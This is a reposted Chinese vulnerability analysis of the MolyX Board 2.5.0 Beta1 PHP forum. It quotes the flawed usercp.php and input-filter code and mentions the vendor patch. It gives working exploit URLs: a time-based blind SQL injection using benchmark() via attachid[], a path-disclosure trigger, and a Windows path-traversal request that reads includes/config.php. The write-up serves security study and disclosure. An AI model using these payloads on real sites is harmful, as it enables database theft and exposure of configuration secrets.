网页功能: 加入收藏 设为首页 网站搜索  
MolyX 漏洞分析
发表日期:2006-03-12作者:HeiGe[转贴] 出处:安全焦点  

MolyX 漏洞分析
    文/SuperHei·安全天使[S4T] 2005.09.21
废话:
MolyX Board(以下简称MXB)是 MolyX Studios 小组(好象就是CNVBB小组)开发的PHP论坛程序,MXB 融合了众多论坛程序的优点,博采众长,功能强大。多年的论坛程序汉化和改进经验也使 MXB 更适合国人的使用习惯。不过漏洞是难免的。

测试版本:
MolyX BOARD 2.5.0 Beta1

1.usercp.php漏洞

当删除附件时变量attachid[]过滤不言,导致暴露绝对路径和sql注射漏洞。分析如下:

代码行397---407

$affected_ids = count($_INPUT['attachid']);
   if ( $affected_ids > 0 ) {
      $attachments = $DB->query("SELECT a.*, p.threadid, p.pid
           FROM ".TABLE_PREFIX."attachment a
            LEFT JOIN ".TABLE_PREFIX."post p ON ( a.postid=p.pid )
           WHERE a.attachmentid IN (".implode(",",$_INPUT['attachid']).")
           AND a.userid='".$bbuserinfo['id']."'");
              if ( $attachment = $DB->fetch_array($attachments) ) {
    if ( $attachment['location'] ) {
     @unlink( $bboptions['uploadfolder']."/".$attachment['attachpath']."/".$attachment['location'] );
    }


我们看attachid[]经过了$_INPUT['attachid']提交到数据库查询,我们跟更$_INPUT[],在global.php 行23:

$_INPUT = $forums->func->init_variable();

继续跟init_variable(),init_variable()在includes/functions.php代码如下:

function init_variable()
    {
     $return = array();
  foreach(array($_GET,$_POST) AS $type) {
   if( is_array($type) ) {
    foreach ( $type AS $k => $v) {
     if ( is_array($type[$k]) ) {
      foreach ( $type[$k] AS $k1 => $v1) {
       $return[ $this->clean_key($k) ][ $this->clean_key($k1) ] = $this->clean_value($v1);
      }
     } else {
      $return[ $this->clean_key($k) ] = $this->clean_value($v);
     }
    }
   }
  }
  return $return;
}

    function clean_key($key)
{
     if ($key == "") return "";
     return preg_replace( array("/\.\./", "/\_\_(.+?)\_\_/", "/^([\w\.\-\_]+)$/"), array("", "", "$1"), $key );
    }
    
    function clean_value($val)
    {
  if ($val == "") return "";

  $pregfind = array ( " ", "&", "<!--", "-->" );
  $pregreplace = array ( " ", "&amp;", "<!--", "-->" );
  $val = str_replace($pregfind, $pregreplace, $val);

     $val = preg_replace( "/<script/i", "<script", $val );

  $pregfind = array ( ">", "<", "\"", "!", "'" );
  $pregreplace = array ( "&gt;", "&lt;", "&quot;", "!", "'" );
  $val = str_replace($pregfind, $pregreplace, $val);

  $pregfind = array ( "/\n/", "/\\\$/", "/\r/" );
  $pregreplace = array ( "<br />", "$", "" );
  $val = preg_replace($pregfind, $pregreplace, $val);
    
     if ( $this->allow_unicode ) {
   $val = preg_replace("/&amp;#([0-9]+);/s", "&#\\1;", $val );
  }
     if ( get_magic_quotes_gpc() ) {
      $val = stripslashes($val);
     }
     return preg_replace( "/\\\(&amp;#|\?#)/", "\", $val );
    }

过滤了& < > \ ' <script 等等字符。

具体测试利用:

由于漏洞语句查询是没的什么数据输出,所以我们不可以用union 直接替换数据输出,又tnnd默认只有管理员
才可以看论坛返回的mysql错误信息:db_mysql.php 行141-147代码
    if ($bbuserinfo['usergroupid']==4) {
            $this->error = @mysql_error($this->connection_id);
        } else {
            $the_error = '';            
        }
        $message  = "数据库出现错误: \n\n";
        $message  .= $the_error."\n\n";
所以普通用户都没有错误信息返回,也就是1=1和1=2得到的页面一样,所以不可以用“经典注射”(特殊码比较)。
幸好我们还有benchmark()。

注意:不可以有& < >等,我们注射语句构如下:

http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid[]=1) and if((ascii(substring(user(),1,1))=0x72)|0, benchmark(100000,md5(0x41)),0)/*

返回延时,那么我们就可以确定user()第一个字母hex值为0x72,也就是字母r。注意这个过程中只可以用=
来判断,因为< >都被过滤了。:)

当我们把$_INPUT['attachid']不当数组,当一般的变量提交时,变量不可以implode()而暴错,得到物理路径
提交:
http://127.0.0.1/xx/uploads/usercp.php?s=&do=attach&sort=&attachid

返回:Warning: implode(): Bad arguments. in f:\www\www\xx\uploads\usercp.php on line 402

补丁:
官方2005.09.20已经出了补丁http://www.molyx.com/attachment.php?id=3097&u=2&extension=txt&attach=1127146647.attach&filename=UPDATE_20050920.txt&attachpath=2
值得提下的是,改补丁同时补了2个漏洞,另外一个是由于private.php里$_INPUT['pmid']过滤不严导致的,该漏洞
的利用和分析,跟上面的查不多,有兴趣的可以自己看看(ps:private.php漏洞不是我发现的,估计是官方看我的测试日志自己发现的)

2.attachment.php漏洞
影响系统:windows

其实这是漏洞已经补过一次了的:http://4ngel.net/article/50.htm 但是angel在文章里患了个小错误,没有过滤\和..
导致在win主机上漏洞依旧,漏洞分析可以看angel的文章,漏洞利用:

http://www.xxx.com/attachment.php?id=684&u=3096&extension=gif&attach=.\..\..\..\..\..\..\includes\config.php&filename=1.gif

就可以得到includes/config.php里内容了

解决版本过滤.. / \

谢谢阅读!!!

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 MolyX 漏洞分析
本类热点文章
  WordPress wp-trackback.php漏洞分析
  PHP-Nuke web中心系统中的用户登录SQL ..
  PHP-Nuke web中心系统中的用户登录SQL ..
  新浪UC ActiveX多个远程栈溢出漏洞 0-DAY
  MS06-055 XP-SP2 Exploit Challenge
  Setuid() - nproc limit 类型漏洞之深入..
  利用异常处理执行shellcode实例
  ipb search.php 漏洞分析及思考
  Microsoft Windows图形渲染引擎WMF格式..
  CCProxy 6.2溢出学习笔记
  Php5 GPC绕过缺陷
  IE mhtml redirection漏洞利用方法
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00377